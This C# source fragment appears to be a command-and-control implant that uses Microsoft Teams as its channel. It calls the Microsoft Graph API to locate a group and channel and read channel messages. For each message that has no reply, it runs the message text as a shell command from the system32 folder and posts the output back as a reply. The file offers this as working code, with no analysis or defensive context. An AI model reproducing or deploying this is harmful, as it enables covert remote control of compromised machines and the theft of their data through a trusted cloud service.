public static async Task GetReply(string AccessToken, string groupid, string channelid, string messageid, string input) { var httpClient = new HttpClient(); var apiCaller = new ProtectedApiCallHelper(httpClient); var url = $"https://graph.microsoft.com/beta/teams/{groupid}/channels/{channelid}/messages/{messageid}/replies"; JObject channelmessagesDetails = await apiCaller.CallGetWebApiAndProcessResultASync(url, AccessToken); IList <JToken> channelmessagesresults = channelmessagesDetails["value"].Children().ToList(); if (channelmessagesresults.Count == 0) { try { string output = ShellExecuteWithPath(input, @"c:\\windows\system32\"); Thread.Sleep(2000); await SendReply(AccessToken, groupid, channelid, messageid, TextToHtml(output)); } catch (Exception ex) { await SendReply(AccessToken, groupid, channelid, messageid, TextToHtml(ex.Message)); //Console.WriteLine(ex.Message); } } }
public static async Task <string> GetChannelDetails(string AccessToken, string groupid) { #region GetChannelDetails var httpClient = new HttpClient(); var apiCaller = new ProtectedApiCallHelper(httpClient); channeldetails channelDetails = new channeldetails(); var url = $"https://graph.microsoft.com/beta/teams/{groupid}/channels"; JObject cDetails = await apiCaller.CallGetWebApiAndProcessResultASync(url, AccessToken); IList <JToken> channelresults = cDetails["value"].Children().ToList(); IList <channeldetails> channelsearchResults = new List <channeldetails>(); foreach (JToken res in channelresults) { channelDetails = res.ToObject <channeldetails>(); channelsearchResults.Add(channelDetails); } return(channelDetails.id); #endregion GetChannelDetails }
public static async Task <string> GetGroupDetails(string AccessToken, string GroupName) { #region GetGroupDetails var httpClient = new HttpClient(); var apiCaller = new ProtectedApiCallHelper(httpClient); groupdetails groupDetails = new groupdetails(); var url = $"https://graph.microsoft.com/beta/groups?$filter=startswith(displayname, '{GroupName}')"; JObject gDetails = await apiCaller.CallGetWebApiAndProcessResultASync(url, AccessToken); IList <JToken> groupresults = gDetails["value"].Children().ToList(); IList <groupdetails> groupsearchResults = new List <groupdetails>(); foreach (JToken res in groupresults) { groupDetails = res.ToObject <groupdetails>(); groupsearchResults.Add(groupDetails); } return(groupDetails.id); #endregion GetGroupDetails }
public static async Task GetMessage(string AccessToken, string groupid, string channelid) { channelmessages channelMessages = new channelmessages(); var httpClient = new HttpClient(); var apiCaller = new ProtectedApiCallHelper(httpClient); var url = $"https://graph.microsoft.com/beta/teams/{groupid}/channels/{channelid}/messages"; JObject channelmessagesDetails = await apiCaller.CallGetWebApiAndProcessResultASync(url, AccessToken); IList <JToken> channelmessagesresults = channelmessagesDetails["value"].Children().ToList(); // serialize JSON results into .NET objects IList <channelmessages> channelmessagessearchResults = new List <channelmessages>(); foreach (JToken res in channelmessagesresults) { channelMessages = res.ToObject <channelmessages>(); channelmessagessearchResults.Add(channelMessages); await GetReply(AccessToken, groupid, channelid, channelMessages.id, channelMessages.body.content); } }